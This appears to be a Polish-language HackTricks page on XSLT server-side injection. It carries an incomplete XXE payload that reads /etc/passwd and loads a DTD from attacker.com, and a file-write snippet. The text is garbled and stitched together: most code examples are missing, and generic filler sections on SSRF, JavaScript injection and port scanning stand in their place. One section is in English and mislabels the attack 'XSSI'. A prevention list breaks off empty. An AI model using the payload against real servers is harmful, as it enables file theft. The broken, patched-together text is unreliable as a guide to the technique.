<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
XSLT to technologia stosowana do przekształcania dokumentów XML na różne formaty. Istnieją trzy wersje: 1, 2 i 3, z czego wersja 1 jest najczęściej używana. Proces transformacji może być wykonywany zarówno po stronie serwera, jak i w przeglądarce.
Aby wykorzystać podatności związane z XSLT, konieczne jest przechowywanie znaczników xsl po stronie serwera, a następnie uzyskanie do nich dostępu. Przykład takiej podatności został udokumentowany w następującym źródle: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
Server-Side Request Forgery (SSRF) to atak polegający na zmuszaniu serwera do wykonania żądania HTTP na zewnętrznym zasobie, zamiast na zamierzonej lokalizacji. Atakujący może wykorzystać tę lukę, aby uzyskać dostęp do wrażliwych danych lub sieci wewnętrznej.
#### Przykłady ataku SSRF
1. Wykorzystanie funkcji do pobierania plików
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xsl:stylesheet [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
Server-Side Request Forgery (SSRF) to atak polegający na zmuszaniu serwera do wykonania żądania HTTP na zewnętrznym zasobie, zamiast na zamierzonej lokalizacji. Atakujący może wykorzystać tę lukę, aby uzyskać dostęp do wrażliwych danych lub sieci wewnętrznej.
### Wykorzystanie SSRF
SSRF można wykorzystać na różne sposoby, takie jak:
- Skanowanie sieci wewnętrznej: Atakujący może wykorzystać SSRF do skanowania sieci wewnętrznej, identyfikując dostępne usługi i otwarte porty.
- Wykradanie danych: Atakujący może wykorzystać SSRF do uzyskania dostępu do wrażliwych danych, takich jak hasła, klucze API lub pliki konfiguracyjne.
- Ataki na usługi wewnętrzne: Atakujący może wykorzystać SSRF do atakowania usług wewnętrznych, takich jak bazy danych, serwery plików lub kolejki wiadomości.
### Techniki SSRF
SSRF można wykorzystać za pomocą różnych technik, takich jak:
- Wykorzystanie funkcji URL: Atakujący może manipulować parametrami URL, aby zmusić serwer do wykonania żądania na zewnętrznym zasobie.
- Wykorzystanie protokołów nie-HTTP: Atakujący może wykorzystać protokoły takie jak FTP, SMB lub DNS, aby uzyskać dostęp do zasobów wewnętrznych.
- Wykorzystanie błędów parsowania: Atakujący może wykorzystać błędy parsowania danych wejściowych, takie jak XML lub JSON, aby zmusić serwer do wykonania nieautoryzowanych żądań.
### Zapobieganie SSRF
Aby zapobiec atakom SSRF, można podjąć następujące środki ostrożności:
- Walidacja i filtrowanie danych wejściowych: Należy dokładnie sprawdzać i filtrować wszelkie dane wejściowe, takie jak parametry URL, aby zapobiec manipulacji.
- Ograniczenie uprawnień: Należy ograniczyć uprawnienia serwera, aby uniemożliwić dostęp do wrażliwych danych lub sieci wewnętrznej.
- Używanie białej listy adresów URL: Należy używać białej listy adresów URL, aby ograniczyć dostęp do zaufanych zasobów.
- Monitorowanie i reagowanie: Należy monitorować logi serwera i reagować na podejrzane aktywności, takie jak nieautoryzowane żądania HTTP.
### Podsumowanie
SSRF to potencjalnie niebezpieczna luka w zabezpieczeniach, która może prowadzić do nieautoryzowanego dostępu do wrażliwych danych lub sieci wewnętrznej. Aby zapobiec atakom SSRF, należy dokładnie walidować i filtrować dane wejściowe oraz ograniczać uprawnienia serwera. Monitorowanie logów serwera jest również ważne w celu wykrywania i reagowania na podejrzane aktywności.
Wstrzykiwanie kodu JavaScript jest jedną z najczęściej wykorzystywanych technik ataku na aplikacje internetowe. Pozwala ona na wykonanie kodu JavaScript na stronie internetowej, co może prowadzić do różnych niepożądanych skutków, takich jak kradzież danych, przechwytywanie sesji użytkownika czy złośliwe przekierowania.
### Sposoby wstrzykiwania kodu JavaScript
1.**Wstrzykiwanie kodu JavaScript w pola formularzy**: Atakujący może wstrzyknąć kod JavaScript poprzez wprowadzenie go w pola formularzy, takie jak pola tekstowe czy pola wyboru. Gdy użytkownik wysyła formularz, kod JavaScript zostaje wykonany na stronie.
2.**Wstrzykiwanie kodu JavaScript w adres URL**: Atakujący może dodać kod JavaScript do adresu URL, który zostanie wykonany po załadowaniu strony. Może to prowadzić do przechwycenia danych lub wykonania innych złośliwych działań.
3.**Wstrzykiwanie kodu JavaScript poprzez błędy w walidacji**: Jeśli aplikacja internetowa nieprawidłowo waliduje dane wprowadzane przez użytkownika, atakujący może wykorzystać ten błąd do wstrzyknięcia kodu JavaScript.
### Skutki wstrzykiwania kodu JavaScript
Wstrzyknięcie kodu JavaScript może prowadzić do różnych niebezpiecznych sytuacji, takich jak:
- **Kradzież danych**: Atakujący może wykorzystać wstrzyknięty kod JavaScript do kradzieży poufnych danych, takich jak hasła, dane osobowe czy informacje finansowe.
- **Przechwycenie sesji użytkownika**: Wstrzyknięcie kodu JavaScript może umożliwić atakującemu przechwycenie sesji użytkownika, co pozwala mu na przejęcie kontroli nad kontem użytkownika.
- **Złośliwe przekierowania**: Atakujący może wykorzystać wstrzyknięty kod JavaScript do przekierowania użytkownika na złośliwe strony internetowe, które mogą zawierać złośliwe oprogramowanie.
### Zapobieganie wstrzykiwaniu kodu JavaScript
Aby zapobiec wstrzykiwaniu kodu JavaScript, należy podjąć następujące środki ostrożności:
- **Walidacja danych**: Upewnij się, że wszystkie dane wprowadzane przez użytkownika są prawidłowo walidowane i filtrowane, aby zapobiec wstrzykiwaniu kodu JavaScript.
- **Używanie bezpiecznych funkcji**: Korzystaj z bezpiecznych funkcji i bibliotek do manipulacji danymi, takich jak funkcje do kodowania i dekodowania danych.
- **Ograniczanie uprawnień**: Ogranicz uprawnienia użytkowników do minimalnego niezbędnego poziomu, aby zmniejszyć ryzyko wstrzykiwania kodu JavaScript.
- **Regularne aktualizacje**: Regularnie aktualizuj oprogramowanie i biblioteki, aby zapobiec wykorzystaniu znanych podatności.
Wstrzykiwanie kodu JavaScript jest powszechnie wykorzystywaną techniką ataku na aplikacje internetowe. Aby zapobiec temu rodzajowi ataku, należy odpowiednio walidować dane wprowadzane przez użytkowników, korzystać z bezpiecznych funkcji i bibliotek, ograniczać uprawnienia użytkowników oraz regularnie aktualizować oprogramowanie. Monitorowanie logów aplikacji jest również ważne w celu wykrywania i reagowania na próby wstrzykiwania kodu JavaScript.
Assert (var\_dump + scandir + false) to technika wykorzystująca wstrzyknięcie kodu XSLT (Extensible Stylesheet Language Transformations) w celu uzyskania informacji o serwerze i przeglądaniu jego plików. Ta technika polega na wykorzystaniu funkcji var\_dump() do wyświetlenia zawartości obiektu, a następnie funkcji scandir() do przeglądania plików na serwerze. Ustawienie wartości false w celu uniknięcia wyświetlania błędów.
W przypadku ataku XSLT Server-Side Injection, możemy wykorzystać funkcję `document()` w celu odczytania plików na serwerze. Funkcja `document()` pozwala na odczytanie plików z lokalnego systemu plików lub z sieci.
Aby odczytać plik z lokalnego systemu plików, możemy użyć następującego kodu:
XXE (ang. External Entity Injection) to atak, który wykorzystuje podatność w przetwarzaniu danych XML. Atakujący może wstrzyknąć zewnętrzne encje do dokumentu XML, co może prowadzić do ujawnienia poufnych informacji, wykonania zdalnego kodu lub ataków typu DoS (Denial of Service).
#### **Podatność na XXE w XSLT**
Podatność na XXE może wystąpić w przypadku przetwarzania danych XML za pomocą XSLT (Extensible Stylesheet Language Transformations). XSLT jest językiem służącym do transformacji dokumentów XML na inne formaty, takie jak HTML lub tekst.
#### **Wykorzystanie XXE w XSLT**
Aby wykorzystać podatność na XXE w XSLT, atakujący może wstrzyknąć zewnętrzne encje do arkusza stylów XSLT. Może to być osiągnięte poprzez odwołanie się do zewnętrznego pliku DTD (Document Type Definition) lub za pomocą encji wbudowanych w sam dokument XML.
Wykorzystanie XXE w XSLT może prowadzić do różnych skutków, takich jak:
- Ujawnienie poufnych informacji: Atakujący może uzyskać dostęp do poufnych danych, takich jak hasła, klucze API, dane użytkowników itp.
- Wykonanie zdalnego kodu: Atakujący może wykonać dowolny kod na serwerze, co może prowadzić do pełnej kontroli nad systemem.
- Ataki typu DoS: Atakujący może spowodować niedostępność usługi poprzez wykorzystanie dużych zasobów serwera.
#### **Zapobieganie XXE w XSLT**
Aby zapobiec atakom XXE w XSLT, należy podjąć następujące środki ostrożności:
- Wyłączenie obsługi zewnętrznych encji: Wyłączenie obsługi zewnętrznych encji w parserze XML może zapobiec atakom XXE.
- Walidacja danych wejściowych: Należy dokładnie sprawdzać i walidować dane wejściowe, aby upewnić się, że nie zawierają złośliwych encji.
- Używanie bezpiecznych parserów XML: Wybieranie bezpiecznych parserów XML, które domyślnie wyłączają obsługę zewnętrznych encji, może pomóc w zapobieganiu atakom XXE.
#### **Podsumowanie**
XXE w XSLT to poważna podatność, która może prowadzić do ujawnienia poufnych informacji, wykonania zdalnego kodu lub ataków typu DoS. Aby zapobiec atakom XXE, należy wyłączyć obsługę zewnętrznych encji, dokładnie walidować dane wejściowe i używać bezpiecznych parserów XML.
XSLT Server-Side Injection (XSSI) is a technique that allows an attacker to inject malicious XSLT code into a vulnerable server-side application. This can lead to various security vulnerabilities, such as information disclosure, remote code execution, and server-side request forgery.
XSLT (Extensible Stylesheet Language Transformations) is a language used to transform XML documents into other formats, such as HTML or plain text. It is commonly used in web applications to generate dynamic content.
To perform an XSSI attack, the attacker needs to identify a vulnerable server-side application that uses XSLT transformations. This can be done through manual analysis or automated scanning tools.
Once a vulnerable application is identified, the attacker can craft a malicious XSLT payload and inject it into the application. The payload can be designed to exploit specific vulnerabilities or perform general attacks, such as extracting sensitive information from the server or executing arbitrary code.
The injection of the payload can be done through various vectors, such as user input fields, HTTP headers, or XML data. The attacker needs to understand the application's input validation and processing mechanisms to successfully inject the payload.
To mitigate XSSI attacks, developers should implement proper input validation and output encoding techniques. They should also avoid using user-supplied data directly in XSLT transformations without proper sanitization.
Pentesters can detect XSSI vulnerabilities by analyzing the application's response for unexpected XSLT processing errors or by injecting payloads and observing the server's response.
Overall, XSSI attacks can have severe consequences for the security of a web application. It is important for developers and pentesters to be aware of this technique and take appropriate measures to prevent and detect such attacks.
Port scanowanie jest jedną z podstawowych technik używanych podczas testów penetracyjnych. Polega na skanowaniu otwartych portów na docelowym systemie w celu identyfikacji usług działających na tych portach. Skanowanie portów może pomóc w zidentyfikowaniu potencjalnych podatności i słabych punktów w systemie.
Istnieje wiele narzędzi dostępnych do przeprowadzania skanowania portów, takich jak Nmap, Masscan, Zmap, itp. Te narzędzia umożliwiają skanowanie pojedynczych portów, zakresów portów lub nawet całych sieci w poszukiwaniu otwartych portów.
Podczas skanowania portów istnieją różne techniki, takie jak skanowanie SYN, skanowanie TCP, skanowanie UDP, skanowanie ACK, skanowanie FIN, skanowanie Xmas, itp. Każda z tych technik ma swoje własne zastosowanie i może dostarczyć różnych informacji na temat otwartych portów i usług.
Skanowanie portów jest ważnym krokiem w procesie testów penetracyjnych, ponieważ umożliwia identyfikację potencjalnych wektorów ataku i podatności. Jest to również przydatne narzędzie dla administratorów systemów, którzy chcą monitorować i zabezpieczać swoje sieci przed nieautoryzowanym dostępem.
XSLT 2.0 umożliwia zapisywanie danych do pliku przy użyciu funkcji `xsl:result-document`. Ta funkcja pozwala na zapisywanie wyników przekształceń XSLT do pliku na serwerze. Aby to zrobić, należy podać ścieżkę do pliku jako argument funkcji `xsl:result-document`. Na przykład:
```xml
<xsl:result-documenthref="sciezka/do/pliku.txt">
<xsl:text>Zawartosc pliku</xsl:text>
</xsl:result-document>
```
W powyższym przykładzie, wynik przekształcenia XSLT zostanie zapisany do pliku o nazwie "plik.txt" na serwerze. Można również użyć zmiennych XSLT do dynamicznego tworzenia ścieżki do pliku.
Xalan-J jest popularnym narzędziem do przetwarzania języka XSLT (Extensible Stylesheet Language Transformations). Jest to biblioteka Java, która umożliwia tworzenie i stosowanie arkuszy stylów XSLT w celu transformacji dokumentów XML.
Jednak Xalan-J zawiera również rozszerzenia, które mogą być wykorzystane do wykonania kodu Java na serwerze poprzez wstrzyknięcie kodu XSLT. To zjawisko jest znane jako XSLT Server-Side Injection.
W przypadku ataku XSLT Server-Side Injection, atakujący może wstrzyknąć kod XSLT, który zostanie wykonany na serwerze. To może prowadzić do różnych konsekwencji, takich jak odczyt plików, wykonanie dowolnego kodu Java, a nawet zdalne wykonanie kodu.
Aby przeprowadzić atak XSLT Server-Side Injection, atakujący musi znaleźć podatny punkt końcowy, który akceptuje dane wejściowe XSLT i wykonuje je na serwerze. Następnie atakujący może wstrzyknąć złośliwy kod XSLT, który zostanie wykonany na serwerze.
Aby zabezpieczyć się przed atakami XSLT Server-Side Injection, należy:
Ważne jest, aby zrozumieć zagrożenia związane z XSLT Server-Side Injection i podjąć odpowiednie środki ostrożności, aby chronić serwery przed tym rodzajem ataku.
**Na tej stronie znajdziesz przykłady RCE w innych językach:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
(Przykład z [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć **reklamę swojej firmy w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.